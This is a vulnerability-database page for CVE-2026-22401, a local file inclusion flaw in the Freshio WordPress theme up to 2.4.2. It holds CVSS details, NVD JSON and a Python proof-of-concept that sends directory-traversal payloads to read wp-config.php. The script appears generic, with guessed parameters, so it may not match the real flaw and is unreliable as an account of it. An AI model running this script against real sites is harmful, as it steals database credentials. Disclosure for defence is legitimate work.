Security Vulnerability Report
中文
CVE-2026-22401 CVSS 7.5 HIGH

CVE-2026-22401

Published: 2026-01-22 17:16:33
Last Modified: 2026-04-28 19:36:35

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in pavothemes Freshio freshio allows PHP Local File Inclusion.This issue affects Freshio: from n/a through <= 2.4.2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Freshio主题 <= 2.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22401 Local File Inclusion PoC # Target: Freshio WordPress Theme <= 2.4.2 import requests import sys def test_lfi(target_url, file_path="wp-config.php"): """ Test for Local File Inclusion vulnerability in Freshio theme Args: target_url: Base URL of the target WordPress site file_path: Path to file to read (default: wp-config.php) Returns: Content of the requested file if vulnerable """ # Common LFI patterns in WordPress themes lfi_params = [ "template", "file", "page", "include", "load", "theme" ] # Directory traversal payload payload = "../../../../../../../../" + file_path + "\x00" print(f"[*] Testing LFI vulnerability on: {target_url}") print(f"[*] Attempting to read: {file_path}") for param in lfi_params: try: # Try common theme file inclusion endpoints test_urls = [ f"{target_url}/?{param}={payload}", f"{target_url}/wp-content/themes/freshio/{payload}", f"{target_url}/?theme=freshio&{param}={payload}" ] for url in test_urls: response = requests.get(url, timeout=10) # Check for successful file read if "DB_NAME" in response.text or "<?php" in response.text: print(f"[+] VULNERABLE! Parameter: {param}") print(f"[+] URL: {url}") print(f"[+] File content retrieved successfully") return response.text except requests.RequestException as e: print(f"[-] Error testing {param}: {e}") print("[-] Target does not appear to be vulnerable") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-22401.py <target_url> [file_to_read]") print("Example: python cve-2026-22401.py http://target.com wp-config.php") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else "wp-config.php" result = test_lfi(target, file_to_read) if result: print("\n[+] File content:") print(result[:1000]) # Print first 1000 chars

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22401", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:33.313", "lastModified": "2026-04-28T19:36:34.697", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in pavothemes Freshio freshio allows PHP Local File Inclusion.This issue affects Freshio: from n/a through <= 2.4.2."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración Include/Require en el programa PHP (vulnerabilidad de 'Inclusión remota de ficheros PHP') en pavothemes Freshio freshio permite la Inclusión local de ficheros PHP. Este problema afecta a Freshio: desde n/a hasta &lt;= 2.4.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/freshio/vulnerability/wordpress-freshio-theme-2-4-2-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}